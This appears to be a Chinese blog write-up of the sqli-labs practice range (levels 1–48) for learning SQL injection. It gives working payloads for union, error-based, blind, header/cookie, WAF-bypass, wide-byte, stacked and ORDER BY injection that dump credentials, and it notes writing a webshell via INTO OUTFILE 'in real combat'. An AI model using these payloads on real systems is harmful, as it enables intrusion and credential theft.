新手勿喷
sql注入条件
1 输入内容可控
2 输入内容被带入数据库中执行
sql注入类型
1 根据数据类型分
- 数字型:被带入数据库中数据是数字
- 字符型:被带入数据库中数据是字符串
- 搜索型:被带入数据库中数据用like关键字匹配的
2 根据注入类型分
union、报错、盲注、宽字节、堆叠、二次、dnslog外带、http头注入
sql注入判断
1 '
2 sleep()/benchcake()
3 and/or
以上出现异常即可判断个大概
sql注入流程
分为有回显位和无回显位
演示关卡less1(有回显)less8less9(无回显)
sqli-labs靶场
基础
less1–'闭合
看一下流程
1 判断是否存在注入(找到闭合引起异常)
正常页面

我们尝试闭合

''1'' LIMIT 0,1'
报错信息如上,最边上的两个''是包裹错误信息的。那错误信息就是
'1'' LIMIT 0,1
我们填入的是1'。去掉之后就是'' LIMIT 0,1
那sql语句很好猜就是''包裹的id参数,靶场–+进行注释下一步就可以。然后下边说异常


俩页面不同这就是说出现了异常,很大可能有sql注入。
就是这样判断。
2 判断字段数
order by 字段数进行猜测–如下情况就是3个字段


3 判断回显位
?id=-1‘ union select 1,2,3
因为是想要后边数据看是否能回显,所以前边id为-1
如上就是2,3是显示位
4 爆信息
爆库名
?id=-1' union select 1,(select database()),3–+
爆表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3–+

爆列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3–+

爆信息
?id=-1' union select 1,group_concat(username,'~',password),3 from security.users –+

注入流程如上
less2–不需闭合
数字型注入
直接进行注入,order by判断字段即可
less3–')闭合
报错信息如下

判断闭合之后进行正常注入爆信息
?id=1') order by 3 –+
?id=1') union select 1,2,3 –+
?id=-1') union select 1,(select database()),3 –+
?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 –+
?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 –+
?id=-1') union select 1,(select group_concat(username,'~',password) from security.users),3 –+
流程基本上都是这些,没有回显位的后边关卡会给出注入流程
less4–")闭合


?id=1") order by 3–+
?id=-1") union select 1,2,3–+
?id=-1") union select 1,(select database()),3–+
?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3–+
?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3–+
?id=-1") union select 1,(select group_concat(username,'~',password) from security.users),3–+
报错注入–无回显位
页面中有数据库报错时就可以用(union不能用时首选)
利用的函数及原理
updatexml()
用来改变xml文档的符合条件的节点的值
updatexml(xml文档,要修改的位置,新的值)
xml文档参数:str类型;是xml文档对象的名称
要修改的位置:xml文档中的位置;f12-找到目标位置右键-复制-复制xpath就是目标格式(感兴趣可以看一下,是类似url的格式:/XX/XX这样)—这个参数是可操作的位置,我们传入别的格式的数据会被当成数据库语言进行解析
extractvalue()
和updatexml()原理相同
主键冲突rand()+floor()
主要原理就是mysql中主键的值唯一,不能重复(参考学号/工号唯一)
先运行一下以下语句了解一下需要用的函数和关键词的功能
#rand(0)是随机产生(0~1)的小数
select rand(0) from information_schema.schemata;
#count()是汇总数量,当前语句就是再汇总schemata表中有多少行数据
select count(*) from information_schema.schemata;
#group by是对数据进行分组
select count(*),default_character_set_name as x from information_schema.schemata group by x;
怎么产生的主键冲突
group by在汇总数据的时候产生一个临时表
?id=1' and (select 1 from(select count(*),concat((select database()),floor(rand(0) * 2)) x from information_schema.tables group by x)a) –+
如上是常用的一个语句,第一个from的后边构建了一个临时表,具体过程如下:
information_schema.tables表中有很多条数据,select的时候,会执行很多次count和concat拼接的过程(因为count的是有几行数据)。然后把concat的内容当成主键。
第一次执行(比如floor(rand(0) * 2)=0)看一下临时表里有没有'security0'的主键,没有就插一个进去
第二次执行(比如floor(rand(0) * 2)=1)看一下临时表里有没有'security1'的主键,没有就插一个进去
第三次执行无论floor(rand(0) * 2)=0/1都会重复,这时就会触发错误,带出来数据
less5–'闭合
看一下流程
1 判断是否存在注入(找到闭合引起异常)



2 爆信息
因为没有显示位,所以直接从报错信息上入手,进行爆信息
爆库名
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) –+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) –+
group_concat有时不能用,可以limit来一条一条爆。如下改变limit的限制即可
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)–+
爆字段名–同样也可以一条一条爆
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)–+
爆库名–同样也可以一条一条爆
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,'~',password) from security.users),0x7e),1)–+
less6–"闭合
less7–写入文件爆信息
需要修改配置
数据库文件my.ini
我这里用的是小皮


写入 secure-file-priv="" 然后保存,小皮首页重启sql服务
闭合
很多闭合方式都是显示You are in… Use outfile…
然后我们闭合和异常一起判断,如下尝试
?id=1' and 1=2
?id=1') and 1=2'
?id=1") and 1=2
?id=1")) and 1=2
?id=1')) and 1=2
数据导出用到的函数
into dumpfile/into outfile
语法:select 信息1,信息2… into outfile '位置'
说一下这里的导出是导出到目标机器上
?id=-1')) union select @@basedir,version(),user() into outfile "D:\\\\4.txt" –+
然后看看自己电脑上有没有4.txt,查看里边内容
实战可以写入一句话木马,然后蚁剑连接,网站的绝对路径不爆出的话可以猜(可以ai生成)
D:\\phpstudy_pro\\WWW
C:\\phpstudy_pro\\WWW
盲注
less8–'闭合bool盲注
用的函数
length() substr() ascii()
具体用法不过多赘述,ai完了运行mysql语句验证一下即可
看一下流程
1看数据库长度
?id=1'+and+length(database())>7–+ 正常
?id=1'+and+length(database())>8–+ 异常
由上得数据库长度八位
2看数据库名称(ascii)
这里贴一个ascii表

?id=1'+and+ascii(substr(database(),1,1))>114–+ 正常
?id=1'+and+ascii(substr(database(),1,1))>115–+ 异常
由上得数据库第一个字母为s(115的ascii),修改substr的参数继续猜即可
3看表数量
?id=1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema='security')>3–+ 正常
?id=1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema='security')>4–+ 异常
由上得表有四个
4看表长度
?id=1'+and+length((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+0,1))>5–+ 正常
?id=1'+and+length((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+0,1))>6–+ 异常
由上第一个表长度为6
5看表名(ascii)
?id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+0,1),1,1))>100–+ 正常
?id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+0,1),1,1))>101–+ 异常
由上得知第一个表的表名第一个字母为e,修改substr的参数继续猜即可
6看字段数量
?id=1'+and+(select+count(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='emails')>1–+ 正常
?id=1'+and+(select+count(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='emails')>2–+ 异常
由上得emails表中得字段为2个
7看字段长度
?id=1'+and+length((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='emails'+limit+0,1))>1–+ 正常
?id=1'+and+length((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='emails'+limit+0,1))>2–+ 异常
由上得emails表中第一个字段长度为2位
8看字段名
?id=1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='emails'+limit+0,1),1,1))>104–+ 正常
?id=1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='emails'+limit+0,1),1,1))>105–+ 异常
由上得emails表中第一个字段得名称得第一个字母asii码值位105
9看数据长度
?id=1'+and+length((select+id+from+security.emails+limit+0,1))=1–+ 正常
由上得emails表中第一个字段得第一个值为1位
10看字段(ascii)
?id=1'+and+ascii(substr((select+id+from+security.emails+limit+0,1),1,1))>48–+ 异常
?id=1'+and+ascii(substr((select+id+from+security.emails+limit+0,1),1,1))>49–+ 正常
由上得emails表中第一个字段得第一个值ascii码位49
以上就是bool盲注全部流程
less9–'闭合时间盲注
流程差不多就是盲注得流程,爆库长度,库名,表数量,表长度,表名,字段数量,字段长度,字段名,数据长度,数据值
用的函数
看一下流程
这里用的bp抓包所以+拼接payload
1 判断闭合
?id=1'+and+sleep(3)–+ 睡3s
2 爆库长度
?id=1'+and+if(length(database())>7,sleep(3),0)–+ 睡3s
?id=1'+and+if(length(database())>8,sleep(3),0)–+ 不睡
库8位
3 爆库名
?id=1'+and+if((ascii(substr(database(),1,1))>114),sleep(3),0)–+ 睡3s
?id=1'+and+if((ascii(substr(database(),1,1))>115),sleep(3),0)–+ 不睡
库名第一个ascii码为115
4 爆表个数
?id=1'+and+if((select+count(table_name)+from+information_schema.tables+where+table_schema='security')>3,sleep(3),0)–+ 睡3s
?id=1'+and+if((select+count(table_name)+from+information_schema.tables+where+table_schema='security')>4,sleep(3),0)–+ 不睡
4个表
5 爆表长度
?id=1'+and+if(length((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+3,1))>4,sleep(3),0)–+ 睡3s
?id=1'+and+if(length((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+3,1))>5,sleep(3),0)–+ 不睡
security得第四个表,长度为5
6 爆表名
?id=1'+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+3,1),1,1))>116,sleep(3),0)–+ 睡3s
?id=1'+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema='security'+limit+3,1),1,1))>117,sleep(3),0)–+ 不睡
security第四个表的第一个字母ascii为117
7 爆字段个数
?id=1'+and+if((select+count(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')>2,sleep(3),0)–+ 睡3s
?id=1'+and+if((select+count(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')>3,sleep(3),0)–+ 不睡
security的users表有3个字段
8 爆字段长度
?id=1'+and+if(length((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='users'+limit+2,1))>7,sleep(3),0)–+ 睡3s
?id=1'+and+if(length((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='users'+limit+2,1))>8,sleep(3),0)–+ 不睡
security的users表下第三个字段长度为8位
9 爆字段名
?id=1'+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='users'+limit+2,1),1,1))>111,sleep(3),0)–+ 睡3s
?id=1'+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='users'+limit+2,1),1,1))>112,sleep(3),0)–+ 不睡
security的users表下第三个字段第一位ascii为112
10 爆数据长度
?id=1'+and+if(length((select+password+from+security.users+limit+0,1))>3,sleep(3),0)–+ 睡3s
?id=1'+and+if(length((select+password+from+security.users+limit+0,1))>4,sleep(3),0)–+ 不睡
security的users表下password字段下第一个数据长度4位
11 爆数据
?id=1'+and+if(ascii(substr((select+password+from+security.users+limit+0,1),1,1))>67,sleep(3),0)–+ 睡3s
?id=1'+and+if(ascii(substr((select+password+from+security.users+limit+0,1),1,1))>68,sleep(3),0)–+ 不睡
security的users表下password字段下第一个数据第一位ascii码为68
盲注手注就是这样的手法,比较麻烦
less10–"时间盲注

post关卡
less11–'闭合
本关是post传参

判断完闭合就跟基础注入流程相同
less12–")

产生报错之后看到报错后边的password=("1")判断闭合方式为")
试一下

less13–')报错注入

还是让报错,观察报错。闭合之后用and拼接,尝试发现不行,换了一下union发现出来了

less14–"报错注入


less15–'时间盲注
uname上拼接半天垃圾字符发现怎么都不报错,直接尝试sleep()检测

看下图延时了说明存在时间盲注

if判断测试即可(流程参考less9)


less16–")闭合


有一个小技巧
细心的大老爷们,观察到了我这里uname换了admin而不是1了
原因是为什么呢,因为1数据库中大概没有这个username,所以执行mysql的逻辑:
select '1' and 1=1#
select '1' and 1=2#
这两个语句,逻辑都是一样的,都是假,因为查不到1这个uname,所以有时候判断不出异常页面
而如下:第一个语句就会显示正常页面,因为and两边都是真;第二个语句就会异常,因为and前边条件真,后边条件假,会显示异常页面
select 'admin' and 1=1#
select 'admin' and 1=2#
那有时候实战不知道有没有admin这个用户呀,可以用下边语句判断:
第一个语句为真,但是会延时很长一段时间(具体看数据库中有多少行数据,每行3s)
第二个语句为假,直接返回结果;这样也会出现异常,可以判断存在注入
uname=1")+or+if(length(database())>7,sleep(3),0)#
uname=1")+or+if(length(database())>8,sleep(3),0)#
less17–'报错注入
uname注不出,passwd出了报错注入

http头注入
less18–'ua头注入
看题目是头注入,咱直接在http头部分尝试注入即可。比如referer、cookie、ua头
这里需要输入正确账号密码ua头信息才会显示,咱们还是看拼接垃圾字符造成报错,可以看到是''闭合

这里看到总共有三个字段,因为有三个'\\#','192.168.86.7','admin')'引起来的数据,可以看到第一个是我们输入的,如果 我们#注释之后后边俩就没了,所以我们注入的时候需要把后边俩数据补齐一下

less19–'referer头注入
还是字段的问题,这里加一个\\是添加垃圾字符,看报错进行填充


less20–'cookie注入
如下判断是单引号(添加垃圾字符\\是为了看的更清楚一些)


less21–')base64加密cookie注入
这里bp自动检测出来了是先base64再url编码的方式加密的,所以我们构造payload也这样

还是构造一下垃圾字符'\\#,这里bp的decoder就很好使

完了把=url编码成%3d发过去,分析闭合就可以;可以看到后边有一个),所以闭合是')

这里选一下payload是方便看,具体加密还是在bp的decoder里然后加密之后贴到cookie位置就可以

less22–"base64加密cookie注入
刚开始还是admin"\\#这样看报错信息的,但是咋看咋不对劲。换了"admin\\#。这样就可以判断出来是"闭合的


less23–'闭合注释符被替换
注不出,作弊一下看眼源码,发现注释符被替换

?id=-1'+union+select+1,2,3+and+'1'='1
看下为什么要这么写,sql语句类似:
select * from XX where id='$id' limit 0,1
注入之后:
select * from XX where id='-1'+union+select+1,2,3–+' limit 0,1
注释符不起作用,完了+后边还有一个'没有闭合:and '1'='1填到空格处正好可以闭合
select * from XX where id='-1'+union+select+1,2,3 ' limit 0,1

二次注入
less24–二次注入
二次注入就是存入数据库时的恶意代码,被转义,利用不了;但是再次引用恶意代码的时候会造成危害。看一下:
先注册一个user的用户,可以用数据库工具查看
假设这个用户是我们的攻击用户,现在我们不知道这个用户的密码

完了再注册一个user1'#,然后登陆user1'#进行修改密码,修改完之后,可以看到user的密码改变了但是user1'#不变,这就是二次注入
绕waf
less25–'闭合(大小写&双写绕过and/or)
不允许用and/or,双写绕过
这正常注入,完了报错是 " — ' "这样式的,后边多了一个空格和',所以尝试一下and '1'='1这样闭合后边的'

然后发现大小写绕不过,就加上双写,过了

less26–'闭合||的or绕过

尝试了很多空格绕过发现都不行%20%09%00%0a%0b%0c%0d/**/。不知道是不是姿势不对
所以想试试or的符号结果直接爆了
less27–'闭合%0a空格绕过
直接尝试报错,发现可能是函数前边没空格,倒是mysql识别不了;试一下空格绕过%0a

%0a直接过了(%20%09%00%0a%0b%0c%0d/**/;还有拿()包住函数的方式);没有都尝试

less28–')闭合union/select的双写绕过
看下源码,这里是过滤了内联注释,–+,#,空格,union和select及大小写变种,想了解正则表达式可以ai一下

下边尝试注入:用了一个union和select的双写
?id=9999')%0aununion%0aselection%0aselect%0a1,2,3%0aand%0a('1'='1


less25a–不闭合
存在注入


有回显位,用了union

less26a–')闭合


less27a–"闭合


less28a–'闭合


参数污染hpp
http pollution
参数污染就是说,服务器接收了一个id参数,第一个id已经过了waf
然后后边还有一个id,有可能连后边的id值也传到服务器上;这种情况就可能绕过waf
具体不同服务器具体接收的id是第一个还是最后一个不同,可自行搜索
less29–'闭合参数污染hpp

less30–"闭合

less31–")闭合

宽字节注入
就是数据库编码是gbk/gb2312,这种编码,在符合gbk索引的编码以及之后的一个字符(如果都符合字节范围的话),组合成一个字符进行执行
中文字符由2个字节组成
第一个字节范围:0x81 – 0xFE
第二个字节范围:0x40 – 0x7E 或 0x80 – 0xFE
less32–'闭合
相当于说框住的俩字符,组成了一个字符,对注入没影响

less33–'闭合

less34–'闭合post

看到有个斜杠,就试宽字节

less35–不闭合
试错过程中感觉也是宽字节,但是没试出来。直接尝试了一下报错出来了

后来搜了下发现直接最常规的注就可以了

less36–'闭合
还是单引号闭合

less37–'闭合
union试了半天没试出来,报错出了

堆叠注入
堆叠注入就是多条语句分割执行。
用;分开。条件是目标数据库支持多条语句同时执行
利用方式:
1 数据插入
2 数据修改
3 文件读取导出
less38–'闭合

看了一下代码发现可以堆叠

堆叠一下试试看。下边是判断闭合


尝试一下修改dumb的密码


插入一下新数据


less39–不闭合

堆叠


less40–')闭合


堆叠


less41–不闭合


堆叠一下


less42–'闭合堆叠/报错
login页面出了一个报错注入

堆叠


less43–')闭合堆叠/报错


less44–'闭合堆叠

less45–')闭合堆叠
order by注入
下边就是可以order by注入的典型语句,有排序
$sql = "SELECT * FROM users ORDER BY $id";
ORDER BY 子句后面不能直接使用 UNION、AND 等逻辑运算符来拼接我们想要的查询
less46–不闭合报错
ORDER BY 子句后面不能直接使用 UNION、AND 等逻辑运算符来拼接我们想要的查询

less47–'闭合报错

less48–盲注
尝试半天发现不报错。所以尝试盲注
bool盲注本质上就是构造0和1


构造一下如果database长度>7就和rand(1)执行结果一样,反之…


累了休息一下…



